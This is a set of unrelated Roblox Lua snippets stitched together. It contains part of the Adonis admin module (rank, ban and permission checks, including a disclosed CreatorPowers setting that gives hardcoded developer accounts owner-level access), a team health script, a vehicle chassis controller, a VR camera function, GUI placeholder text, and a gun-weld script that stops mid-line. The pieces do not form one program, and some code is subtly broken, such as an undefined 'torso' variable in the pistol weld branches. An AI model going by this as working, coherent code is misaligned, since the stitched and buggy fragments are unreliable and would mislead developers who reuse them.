local timestamp = os.time() local success, groups = pcall(service.GroupService.GetGroupsAsync, service.GroupService, p.UserId) if success then local mapped = {} for _, group in ipairs(groups) do table.insert(mapped, { Id = group.Id; Name = group.Name; Rank = group.Rank; Role = group.Role; }) end local result = { CreatedAt = timestamp; Groups = mapped; } Admin.GroupsCache[key] = result task.delay(10 + (math.random() * 60), function() local cache = Admin.GroupsCache[key] if cache and timestamp == cache.CreatedAt then Admin.GroupsCache[key] = nil end end) return result end end end; GetPlayerGroup = function(p: Player, group: number | string) local groups = Admin.GetPlayerGroups(p) local isId = type(group) == "number" if groups and groups.Groups then for _, g in ipairs(groups.Groups) do if (isId and g.Id == group) or (not isId and g.Name == group) then return g end end end end; IsMuted = function(player: Player) local DoCheck = Admin.DoCheck for _, v in pairs(Settings.Muted) do if DoCheck(player, v) then return true end end for _, v in pairs(HTTP.Trello.Mutes) do if DoCheck(player, v) then return true end end if HTTP.WebPanel.Mutes then for _, v in pairs(HTTP.WebPanel.Mutes) do if DoCheck(player, v) then return true end end end end; DoCheck = function(p: string | number | Player, check: string | number | {[string]: any}, banCheck: boolean?) local pType = type(p) local cType = type(check) local lower = string.lower local match = string.match local sub = string.sub if pType == "string" and cType == "string" then if p == check or sub(lower(check), 1, #tostring(p)) == lower(p) then return true end elseif pType == "number" and (cType == "number" or tonumber(check)) then if p == tonumber(check) then return true end elseif cType == "number" then if p.UserId == check then return true end elseif cType == "string" and pType == "userdata" and p:IsA("Player") then local isGood = p and p.Parent == service.Players if isGood and match(check, "^Group:(.*):(.*)") then local sGroup, sRank = match(check, "^Group:(.*):(.*)") local group, rank = tonumber(sGroup), tonumber(sRank) if group and rank then local pGroup = Admin.GetPlayerGroup(p, group) if pGroup then local pRank = pGroup.Rank if pRank == rank or (rank < 0 and pRank >= math.abs(rank)) then return true end end end elseif isGood and sub(check, 1, 6) == "Group:" then --check:match("^Group:(.*)") then local group = tonumber(match(check, "^Group:(.*)")) if group then local pGroup = Admin.GetPlayerGroup(p, group) if pGroup then return true end end elseif isGood and sub(check, 1, 5) == "Item:" then --check:match("^Item:(.*)") then local item = tonumber(match(check, "^Item:(.*)")) if item then if service.MarketPlace:PlayerOwnsAsset(p, item) then return true end end elseif p and sub(check, 1, 9) == "GamePass:" then --check:match("^GamePass:(.*)") then local item = tonumber(match(check, "^GamePass:(.*)")) if item then if service.MarketPlace:UserOwnsGamePassAsync(p.UserId, item) then return true end end elseif match(check, "^(.*):(.*)") then local player, sUserid = match(check, "^(.*):(.*)") local userid = tonumber(sUserid) if player and userid and p.Name == player or p.UserId == userid then return true end elseif p.Name == check then return true elseif not banCheck and type(check) == "string" and not string.find(check, ":") then local cache = Admin.UserIdCache[check] if cache and p.UserId == cache then return true elseif not cache then local suc, userId = pcall(function() return service.Players:GetUserIdFromNameAsync(check) end) if suc and userId then Admin.UserIdCache[check] = userId if p.UserId == userId then return true end end end end elseif cType == "table" and pType == "userdata" and p and p:IsA("Player") then if check.Group and check.Rank then local rank = check.Rank local pGroup = Admin.GetPlayerGroup(p, check.Group) if pGroup then local pRank = pGroup.Rank if pRank == rank or (rank < 0 and pRank >= math.abs(rank)) then return true end end end end end; LevelToList = function(lvl: number) local lvl = tonumber(lvl) if not lvl then return end local listName = Admin.LevelToListName(lvl) if listName then local list = Settings.Ranks[listName]; if list then return list.Users, listName, list; end end end; LevelToListName = function(lvl: number) if lvl > 999 then return "Place Owner" elseif lvl == 0 then return "Players" end --// Check if this is a default rank and if the level matches the default (so stuff like [Trello] Admins doesn't appear in the command list) for i,v in pairs(server.Defaults.Settings.Ranks) do local tRank = Settings.Ranks[i]; if tRank and tRank.Level == v.Level and v.Level == lvl then return i end end for i,v in pairs(Settings.Ranks) do if v.Level == lvl then return i end end end; UpdateCachedLevel = function(p: Player, data: {[string]: any}?) local data = data or Core.GetPlayer(p) local level, rank = Admin.GetUpdatedLevel(p, data) data.AdminLevel = level data.AdminRank = rank data.LastLevelUpdate = os.time() AddLog("Script", { Text = "Updating cached level for ".. p.Name; Desc = "Updating the cached admin level for ".. p.Name; Player = p; }) return level, rank end; GetLevel = function(p: Player) local data = Core.GetPlayer(p) local level = data.AdminLevel local rank = data.AdminRank local lastUpdate = data.LastLevelUpdate or 0 local clients = Remote.Clients local key = tostring(p.UserId) local currentTime = os.time() if (not level or not lastUpdate or currentTime - lastUpdate > Admin.AdminLevelCacheTimeout) or lastUpdate > currentTime then local newLevel, newRank = Admin.UpdateCachedLevel(p, data) if clients[key] and level and newLevel and type(p) == "userdata" and p:IsA("Player") then if newLevel < level then Functions.Hint("Your admin level has been reduced to ".. newLevel.." [".. (newRank or "Unknown") .."]", {p}) elseif newLevel > level then Functions.Hint("Your admin level has been increased to ".. newLevel .." [".. (newRank or "Unknown") .."]", {p}) end end return newLevel, newRank end return level or 0, rank; end; GetUpdatedLevel = function(p: Player, data: {[string]: any}?) local checkTable = Admin.CheckTable local doCheck = Admin.DoCheck for _, admin in pairs(Admin.SpecialLevels) do if doCheck(p, admin.Player) then return admin.Level, admin.Rank end end local sortedRanks = {} for rank, data in pairs(Settings.Ranks) do table.insert(sortedRanks, { Rank = rank; Users = data.Users; Level = data.Level; }); end table.sort(sortedRanks, function(t1, t2) return t1.Level > t2.Level end) local highestLevel = 0 local highestRank for _, data in pairs(sortedRanks) do local level = data.Level if level > highestLevel then for _, v in ipairs(data.Users) do if doCheck(p, v) then highestLevel, highestRank = level, data.Rank break end end end end if Admin.IsPlaceOwner(p) and highestLevel < 1000 then return 1000, "Place Owner" end return highestLevel, highestRank end; IsPlaceOwner = function(p: Player) if type(p) == "userdata" and p:IsA("Player") then --// These are my accounts; Lately I've been using my game dev account(698712377) more so I'm adding it so I can debug without having to sign out and back in (it's really a pain) --// Disable CreatorPowers in settings if you don't trust me. It's not like I lose or gain anything either way. Just re-enable it BEFORE telling me there's an issue with the script so I can go to your place and test it. if Settings.CreatorPowers then local creatorAccounts = {1237666, 76328606, 698712377} for _, userId in ipairs(creatorAccounts) do if p.UserId == userId then return true end end end if tonumber(CreatorId) and p.UserId == CreatorId then return true end if p.UserId == -1 then --// To account for player emulators in multi-client Studio tests return true end end end; CheckAdmin = function(p: Player) return Admin.GetLevel(p) > 0 end; SetLevel = function(p: Player, level: number | string, doSave: boolean?, rankName: string) local current, rank = Admin.GetLevel(p) if tonumber(level) then if current >= 1000 then return false else Admin.SpecialLevels[tostring(p.UserId)] = { Player = p.UserId, Level = level, Rank = rankName } end elseif level == "Reset" then Admin.SpecialLevels[tostring(p.UserId)] = nil end Admin.UpdateCachedLevel(p) end; IsTempAdmin = function(p: Player) local DoCheck = Admin.DoCheck for i,v in pairs(Admin.TempAdmins) do if DoCheck(p,v) then return true, i end end end; RemoveAdmin = function(p: Player, temp: boolean?, override: boolean?) local current, rank = Admin.GetLevel(p) local listData = rank and Settings.Ranks[rank] local listName = listData and rank local list = listData and listData.Users local isTemp,tempInd = Admin.IsTempAdmin(p) if isTemp then temp = true table.remove(Admin.TempAdmins,tempInd) end if override then temp = false end if type(p) == "userdata" then Admin.SetLevel(p, 0) end if list then local DoCheck = Admin.DoCheck for ind,check in ipairs(list) do if DoCheck(p, check) and not (type(check) == "string" and (string.match(check,"^Group:") or string.match(check,"^Item:"))) then table.remove(list, ind) if not temp and Settings.SaveAdmins then TrackTask("Thread: RemoveAdmin", Core.DoSave, { Type = "TableRemove"; Table = {"Settings", "Ranks", listName, "Users"}; Value = check; }) end end end end Admin.UpdateCachedLevel(p) end; AddAdmin = function(p: Player, level: string | number, temp: boolean?) local current, rank = Admin.GetLevel(p) local list = rank and Settings.Ranks[rank] local levelName, newRank, newList if type(level) == "string" then local newRank = Settings.Ranks[level] levelName = newRank and level newList = newRank and newRank.Users level = (newRank and newRank.Level) or Admin.StringToComLevel(levelName) or level else local nL, nLN = Admin.LevelToList(level) levelName = nLN newRank = nLN newList = nL end Admin.RemoveAdmin(p, temp) Admin.SetLevel(p, level, nil, levelName) if temp then table.insert(Admin.TempAdmins, p) end if list and type(list) == "table" then local index,value for ind,ent in ipairs(list) do if (type(ent)=="number" or type(ent)=="string") and (ent==p.UserId or string.lower(ent)==string.lower(p.Name) or string.lower(ent)==string.lower(p.Name..":"..p.UserId)) then index = ind value = ent end end if index and value then table.remove(list, index) end end local value = p.Name ..":".. p.UserId if newList then table.insert(newList,value) if Settings.SaveAdmins and levelName and not temp then TrackTask("Thread: SaveAdmin", Core.DoSave, { Type = "TableAdd"; Table = {"Settings", "Ranks", levelName, "Users"}; Value = value }) end end Admin.UpdateCachedLevel(p) end; CheckDonor = function(p: Player) --if not Settings.DonorPerks then return false end local key = tostring(p.UserId) if Variables.CachedDonors[key] then return true else --if p.UserId<0 or (tonumber(p.AccountAge) and tonumber(p.AccountAge)<0) then return false end local pGroup = Admin.GetPlayerGroup(p, 886423) for _, pass in ipairs(Variables.DonorPass) do if p.Parent ~= service.Players then return false end local ran, ret if type(pass) == "number" then ran, ret = pcall(service.MarketPlace.UserOwnsGamePassAsync, service.MarketPlace, p.UserId, pass) elseif type(pass) == "string" and tonumber(pass) then ran, ret = pcall(service.MarketPlace.PlayerOwnsAsset, service.MarketPlace, p, tonumber(pass)) end if (ran and ret) or (pGroup and pGroup.Rank >= 10) then --// Complimentary donor access is given to Adonis contributors & developers. Variables.CachedDonors[key] = os.time() return true end end end end; CheckBan = function(p: Player) local doCheck = Admin.DoCheck local banCheck = Admin.DoBanCheck for _, admin in pairs(Settings.Banned) do if (type(admin) == "table" and ((admin.UserId and doCheck(p, admin.UserId, true)) or (admin.Name and not admin.UserId and doCheck(p, admin.Name, true)))) or doCheck(p, admin, true) then return true, (type(admin) == "table" and admin.Reason) end end for ind, ban in pairs(Core.Variables.TimeBans) do if p.UserId == ban.UserId then if ban.EndTime-os.time() <= 0 then table.remove(Core.Variables.TimeBans, ind) else return true, "\n Reason: "..(ban.Reason or "(No reason provided.)").."\n Banned until ".. service.FormatTime(ban.EndTime, {WithWrittenDate = true}) end end end for _, admin in pairs(HTTP.Trello.Bans) do local name = type(admin) == "table" and admin.Name or admin if doCheck(p, name) or banCheck(p, name) then return true, (type(admin) == "table" and admin.Reason and service.Filter(admin.Reason, p, p)) end end if HTTP.WebPanel.Bans then for _, admin in pairs(HTTP.WebPanel.Bans) do if doCheck(p, admin) or banCheck(p, admin) then return true, (type(admin) == "table" and admin.Reason) end end end end; AddBan = function(p: Player | {[string]: any}, reason: string, doSave: boolean?) local value = { Name = p.Name; UserId = p.UserId; Reason = reason; } table.insert(Settings.Banned, value)--p.Name..':'..p.UserId if doSave then Core.DoSave({ Type = "TableAdd"; Table = "Banned"; Value = value; }) Core.CrossServer("RemovePlayer", p.Name, Variables.BanMessage, value.Reason or "No reason provided") end if type(p) ~= "table" then if not service.Players:FindFirstChild(p.Name) then Remote.Send(p,'Function','KillClient') else if p then pcall(function() p:Kick(Variables.BanMessage .. " | Reason: "..(value.Reason or "No reason provided")) end) end end end service.Events.PlayerBanned:Fire(p, reason, doSave) end; AddTimeBan = function(p : Player | {[string]: any}, duration: number, reason: string) local value = { Name = p.Name; UserId = p.UserId; EndTime = os.time() + tonumber(duration); Reason = reason } table.insert(Core.Variables.TimeBans, value) Core.DoSave({ Type = "TableAdd"; Table = {"Core", "Variables", "TimeBans"}; Value = value; }) Core.CrossServer("RemovePlayer", p.Name, Variables.BanMessage, value.Reason or "No reason provided") if type(p) ~= "table" then if not service.Players:FindFirstChild(p.Name) then Remote.Send(p,'Function','KillClient') else if p then pcall(function() p:Kick(Variables.BanMessage .. " | Reason: "..(value.Reason or "No reason provided")) end) end end end service.Events.PlayerBanned:Fire(p, reason, true) end, DoBanCheck = function(name: string | number | Instance, check: string | {[string]: any}) local id = type(name) == "number" and name if type(name) == "userdata" and name:IsA("Player") then id = name.UserId name = name.Name end if type(check) == "table" then if type(name) == "string" and check.Name and string.lower(check.Name) == string.lower(name) then return true elseif id and check.UserId and check.UserId == id then return true end elseif type(check) == "string" then local cName, cId = string.match(check, "(.*):(.*)") if not cName and cId then cName = check end if cName then if string.lower(cName) == string.lower(name) then return true; elseif id and cId and id == cId then return true; end end end return false end; RemoveBan = function(name: string | number | Instance, doSave: boolean?) local ret for i,v in pairs(Settings.Banned) do if Admin.DoBanCheck(name, v) then table.remove(Settings.Banned, i) ret = v if doSave then Core.DoSave({ Type = "TableRemove"; Table = "Banned"; Value = v; }) end end end return ret end; RemoveTimeBan = function(name : string | number | Instance) local ret for i,v in pairs(Core.Variables.TimeBans) do if Admin.DoBanCheck(name, v) then table.remove(Core.Variables.TimeBans, i) ret = v Core.DoSave({ Type = "TableRemove"; Table = {"Core", "Variables", "TimeBans"}; Value = v; }) end end return ret end, RunCommand = function(coma: string, ...) local _, com = Admin.GetCommand(coma) if com then local cmdArgs = com.Args or com.Arguments local args = Admin.GetArgs(coma,#cmdArgs,...) --local task,ran,error = service.Threads.TimeoutRunTask("SERVER_COMMAND: "..coma,com.Function,60*5,false,args) --[[local ran, error = TrackTask("Command: ".. tostring(coma), com.Function, false, args) if error then --logError("SERVER","Command",error) end]] TrackTask("Command: ".. coma, com.Function, false, args) end end; RunCommandAsPlayer = function(coma: string, plr: Player, ...) local ind, com = Admin.GetCommand(coma) if com then local adminLvl = Admin.GetLevel(plr) local cmdArgs = com.Args or com.Arguments local args = Admin.GetArgs(coma,#cmdArgs,...) local ran, error = TrackTask(plr.Name .. ": ".. coma, com.Function, plr, args, { PlayerData = { Player = plr; Level = adminLvl; isDonor = ((Settings.DonorCommands or com.AllowDonors) and Admin.CheckDonor(plr)) or false; } }) --local task,ran,error = service.Threads.TimeoutRunTask("COMMAND:"..plr.Name..": "..coma,com.Function,60*5,plr,args) if error then --logError(plr,"Command",error) error = string.match(error, ":(.+)$") or "Unknown error" Remote.MakeGui(plr, 'Output', { Title = ''; Message = error; Color = Color3.new(1,0,0) }) return; end end end; RunCommandAsNonAdmin = function(coma: string, plr: Player, ...) local ind, com = Admin.GetCommand(coma) if com and com.AdminLevel == 0 then local cmdArgs = com.Args or com.Arguments local args = Admin.GetArgs(coma,#cmdArgs,...) local _, error = TrackTask(plr.Name ..": ".. coma, com.Function, plr, args, {PlayerData = { Player = plr; Level = 0; isDonor = false; }}) if error then error = string.match(error, ":(.+)$") or "Unknown error" Remote.MakeGui(plr, 'Output', { Title = ""; Message = error; Color = Color3.new(1,0,0) }) end end end; CacheCommands = function() local tempTable = {} local tempPrefix = {} for ind, data in pairs(Commands) do if type(data) == "table" then for _,cmd in pairs(data.Commands) do if data.Prefix == "" then Variables.BlankPrefix = true end tempPrefix[data.Prefix] = true tempTable[string.lower(data.Prefix..cmd)] = ind end end end Admin.PrefixCache = tempPrefix Admin.CommandCache = tempTable end; GetCommand = function(Command: string) if Admin.PrefixCache[string.sub(Command, 1, 1)] or Variables.BlankPrefix then local matched = if string.find(Command, Settings.SplitKey) then string.match(Command, "^(%S+)"..Settings.SplitKey) else string.match(Command, "^(%S+)") if matched then local found = Admin.CommandCache[string.lower(matched)] if found then local real = Commands[found] if real then return found,real,matched end end end end end; FindCommands = function(Command: string) local prefixChar = string.sub(Command, 1, 1) local checkPrefix = Admin.PrefixCache[prefixChar] and prefixChar local matched if checkPrefix then Command = string.sub(Command, 2) end if string.find(Command, Settings.SplitKey) then matched = string.match(Command, "^(%S+)"..Settings.SplitKey) else matched = string.match(Command, "^(%S+)") end if matched then local foundCmds = {} matched = string.lower(matched) for ind,cmd in pairs(Commands) do if type(cmd) == "table" and ((checkPrefix and prefixChar == cmd.Prefix) or not checkPrefix) then for _, alias in pairs(cmd.Commands) do if string.lower(alias) == matched then foundCmds[ind] = cmd break end end end end return foundCmds end end; SetPermission = function(comString: string, newLevel: number) local cmds = Admin.FindCommands(comString) if cmds then for _, cmd in pairs(cmds) do cmd.AdminLevel = newLevel end end end; FormatCommand = function(command: {[string]: any}, cmdn: number?) local text = command.Prefix.. command.Commands[cmdn or 1] local cmdArgs = command.Args or command.Arguments local splitter = Settings.SplitKey for _,arg in pairs(cmdArgs) do text ..= splitter.."<"..arg..">" end return text end; CheckTable = function(p: Player, tab: {[any]: any}) local doCheck = Admin.DoCheck for _,v in pairs(tab) do if doCheck(p, v) then return true end end end; --// Make it so you can't accidentally overwrite certain existing commands... resulting in being unable to add/edit/remove aliases (and other stuff) CheckAliasBlacklist = function(alias: string) local playerPrefix = Settings.PlayerPrefix; local prefix = Settings.Prefix; local blacklist = { [playerPrefix.. "alias"] = true; [playerPrefix.. "newalias"] = true; [playerPrefix.. "removealias"] = true; [playerPrefix.. "client"] = true; [playerPrefix.. "userpanel"] = true; [":adonissettings"] = true; } --return Admin.CommandCache[string.lower(alias)] --// Alternatively, we could make it so you can't overwrite ANY existing commands... return blacklist[alias]; end; GetArgs = function(msg: string, num: number, ...) local args = Functions.Split((string.match(msg, "^.-"..Settings.SplitKey..'(.+)') or ''),Settings.SplitKey,num) or {} for _,v in ipairs({...}) do table.insert(args, v) end return args end; AliasFormat = function(aliases: {[string]: any}, msg: string) local foundPlayerAlias = false --// Check if there's a player-defined alias first then otherwise check settings aliases local CheckAliasBlacklist, EscapeSpecialCharacters = Admin.CheckAliasBlacklist, service.EscapeSpecialCharacters if aliases then for alias, cmd in pairs(aliases) do local tAlias = stripArgPlaceholders(alias) if not Admin.CheckAliasBlacklist(tAlias) then local escAlias = EscapeSpecialCharacters(tAlias) if string.match(msg, "^"..escAlias) or string.match(msg, "%s".. escAlias) then msg = FormatAliasArgs(alias, cmd, msg) end end end end --if not foundPlayerAlias then for alias, cmd in pairs(Settings.Aliases) do local tAlias = stripArgPlaceholders(alias) if not CheckAliasBlacklist(tAlias) then local escAlias = EscapeSpecialCharacters(tAlias) if string.match(msg, "^"..escAlias) or string.match(msg, "%s".. escAlias) then msg = FormatAliasArgs(alias, cmd, msg) end end end --end return msg end; StringToComLevel = function(str: string | number) local strType = type(str) if strType == "string" and string.lower(str) == "players" then return 0 end if strType == "number" then return str end local lvl = Settings.Ranks[str] return (lvl and lvl.Level) or tonumber(str) end; CheckComLevel = function(plrAdminLevel: number, comLevel: string | number | {[any]: number}) if type(comLevel) == "string" then comLevel = Admin.StringToComLevel(comLevel) end if type(comLevel) == "number" and plrAdminLevel >= comLevel then return true; elseif type(comLevel) == "table" then for _,level in pairs(comLevel) do if plrAdminLevel == level then return true end end end end; IsBlacklisted = function(p: Player) local CheckTable = Admin.CheckTable for _,list in pairs(Variables.Blacklist.Lists) do if CheckTable(p, list) then return true end end end; CheckPermission = function(pDat: {[string]: any}, cmd: {[string]: any}) local adminLevel = pDat.Level local isDonor = (pDat.isDonor and (Settings.DonorCommands or cmd.AllowDonors)) local comLevel = cmd.AdminLevel local funAllowed = Settings.FunCommands local crossServerAllowed = Settings.CrossServerCommands --// Creators rank will bypass any permissions set if adminLevel >= Settings.Ranks.Creators.Level then return true elseif (comLevel == "Players" or comLevel == 0) and not Settings.PlayerCommands then --// If PlayerCommands is set to false it will prevent users from using "Players" level commands return false elseif cmd.Fun and not funAllowed then --// If FunCommands are disabled it will block any command Labeled "Fun" return false elseif cmd.IsCrossServer and not crossServerAllowed then --// If CrossServerCommands is disabled it will block any command that is "CrossServer" return false elseif cmd.Donors and isDonor then --// If a command is for "Donors" it will allow anyone with Donor to use it return true elseif Admin.CheckComLevel(adminLevel, comLevel) then --// Check if user has permission to the command return true end --// If none of the checks pass it will deny permissions return false end; SearchCommands = function(p: Player, search: string) local checkPerm = Admin.CheckPermission local tab = {} local pDat = { Player = p; Level = Admin.GetLevel(p); isDonor = Admin.CheckDonor(p); } for index, command in pairs(Commands) do if search == "All" or checkPerm(pDat, command) then tab[index] = command end end return tab end; } end
--police+sec
game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Smoky grey") then Character.Humanoid.MaxHealth = 135 Character.Humanoid.Health = 135 end end) end) game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Lily white") then Character.Humanoid.MaxHealth = 135 Character.Humanoid.Health = 135 end end) end) game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Sea green") then Character.Humanoid.MaxHealth = 135 Character.Humanoid.Health = 135 end end) end) game.Players.PlayerAdded:Connect(function(Player) Player.CharacterAdded:Connect(function(Character) print(Player.TeamColor) if Player.TeamColor == BrickColor.new("Mid gray") then Character.Humanoid.MaxHealth = 135 Character.Humanoid.Health = 135 end end) end)
--Set target steering position based on current velocity
function Chassis.UpdateSteering(steer, currentVel) local baseSteer = steer local targetSteer = 0 local vehicleSeat = Chassis.GetDriverSeat() local maxSpeed = VehicleParameters.MaxSpeed local maxSteer = VehicleParameters.MaxSteer local currentVelocity = vehicleSeat.Velocity if LimitSteerAtHighVel then local c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1 --decrease steer value as speed increases to prevent tipping (handbrake cancels this) steer = steer/c end SteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer end function Chassis.UpdateThrottle(currentVel, throttle) local targetVel = 0 if math.abs(throttle) < 0.1 then -- Idling setMotorMaxAcceleration(math.huge) setMotorTorque(2000) elseif math.sign(throttle * currentVel) > 0 or math.abs(currentVel) < 0.5 then setMotorMaxAcceleration(math.huge) local velocityVector = Chassis.driverSeat.Velocity.Unit local directionalVector = Chassis.driverSeat.CFrame.lookVector local dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0 setMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle)) -- Arbitrary large number local movingBackwards = dotProd < 0 local acceleratingBackwards = throttle < 0 local useReverse = (movingBackwards and acceleratingBackwards) targetVel = math.sign(throttle) * (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed) else -- Braking setMotorMaxAcceleration(100) setMotorTorque(ActualBrakingTorque * throttle * throttle) targetVel = math.sign(throttle) * 500 end Chassis.SetMotorVelocity( targetVel ) end local redressingState = false local targetAttachment function Chassis.Redress() if redressingState then return end redressingState = true local p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 ) local xc = Chassis.driverSeat.CFrame.RightVector xc = Vector3.new(xc.x,0,xc.z) xc = xc.Unit local yc = Vector3.new(0,1,0) if not targetAttachment then targetAttachment = RedressMount.RedressTarget end targetAttachment.Parent = Workspace.Terrain targetAttachment.Position = p targetAttachment.Axis = xc targetAttachment.SecondaryAxis = yc RedressMount.RedressOrientation.Enabled = true RedressMount.RedressPosition.Enabled = true wait(1.5) RedressMount.RedressOrientation.Enabled = false RedressMount.RedressPosition.Enabled = false targetAttachment.Parent = RedressMount wait(2) redressingState = false end function Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle) Chassis.UpdateThrottle(1, 1) --Values must be changed to replicate to client. Chassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients Chassis.EnableHandbrake() setMotorTorque(ActualBrakingTorque) Chassis.SetMotorVelocity(0) Chassis.UpdateSteering(0, 0) RedressMount.RedressOrientation.Enabled = true RedressMount.RedressPosition.Enabled = true RedressMount.RedressOrientation.Enabled = false RedressMount.RedressPosition.Enabled = false redressingState = false end return Chassis
-- defines subject and height of VR camera
function VRBaseCamera:GetVRFocus(subjectPosition, timeDelta) local lastFocus = self.lastCameraFocus or subjectPosition self.cameraTranslationConstraints = Vector3.new( self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + timeDelta), self.cameraTranslationConstraints.z) local cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0) local newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z): lerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y)) return newFocus end
-- EDIT THE TEXTS.
CONTENT.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW CONTENT. CONTENT.Content2.Content.Text = "Content" CONTENT.Content3.Content.Text = "Content" CONTENT.Content4.Content.Text = "Content" CONTENT.Content5.Content.Text = "Content" CONTENT.Content6.Content.Text = "Content" CONTENT.Content7.Content.Text = "Content" CONTENT.Content8.Content.Text = "Content" CONTENT.Content9.Content.Text = "Content" CONTENT.Content10.Content.Text = "Content"
--to use: put in type of gun: barrel point left, barrel point right or bull-pup(main hande is in the middle of the gun)
--step 2: put in what type of wepoan it is: assult rifle or pistol(there will be more) guntype = 1 --1 is assult rifle, 2 is bullpup, 3 is pistol, 4 is knife weldmode = 1 --1 is barrel point upper-left, 2 is barrel pointing upper-right, 3 is barrel point lower-left and 4 is barrel point lower-right -------(note: if it is pistol or knife then 1 is on right leg, 2 is on left leg, 3 is in the back of your pants and 4 is in the front of your pants) model = nil --gun model, that is distance = 0.75 --this is the distance between the part(torso/leg) and the gun. DON'T MAKE negitive rotation = 135 --this is the turning in degrees. --this area is mode more for someone who's already good at gun's. please do not get mad at me if you don't understand what's under here y = 2 --this is what's added to the current y value. positive number's make it go down. negative make's it go up x = -.75 --this is what's added to the x value(it's really the z value but it look's like the x value when on your back). positive number's make it go left. negative make's it go right parts = {} local n = 1 function on(mouse) if model == nil then n = 1 local m = Instance.new("Model") local all = script.Parent:GetChildren() for i = 1, #all do if all[i].className == "Part" then parts[n] = all[i].Transparency local brick = all[i]:clone() brick.Parent = m n = n +1 end end wait() if model == nil then local weld = script:FindFirstChild("Weld2") if weld ~= nil then local new = weld:clone() new.Disabled = false new.Parent = m m.Name = script.Parent.Name m.Parent = script.Parent.Parent model = m local handle = model:FindFirstChild("Handle") if handle ~= nil then if guntype == 1 then local torso = model.Parent:FindFirstChild("Torso") if torso ~= nil then if weldmode == 1 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0) elseif weldmode == 2 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0) elseif weldmode == 3 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, -0.1+y, 0.2 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), -1.5) elseif weldmode == 4 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1.1, 1) end end elseif guntype == 2 then local torso = model.Parent:FindFirstChild("Torso") if torso ~= nil then if weldmode == 1 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0.25+y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2, 0) elseif weldmode == 2 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2 *-1, 0) elseif weldmode == 3 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2, 0) elseif weldmode == 4 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2 *-1, 0) end end elseif guntype == 3 then local lleg = model.Parent:FindFirstChild("Left Leg") local rleg = model.Parent:FindFirstChild("Right Leg") if lleg ~= nil and rleg ~= nil then if weldmode == 1 then local w = Instance.new("Weld") w.Part0 = rleg w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0) elseif weldmode == 2 then local w = Instance.new("Weld") w.Part0 = lleg w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0) elseif weldmode == 3 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2, 0) elseif weldmode == 4 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2 *-1, 0) end end elseif guntype == 4 then local lleg = model.Parent:FindFirstChild("Left Leg") local rleg = model.Parent:FindFirstChild("Right Leg") local torso = model.Parent:FindFirstChild("Torso") if lleg ~= nil and rleg ~= nil and torso ~= nil then if weldmode == 1 then local w = Instance.new("Weld") w.Part0 = rleg w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0) elseif 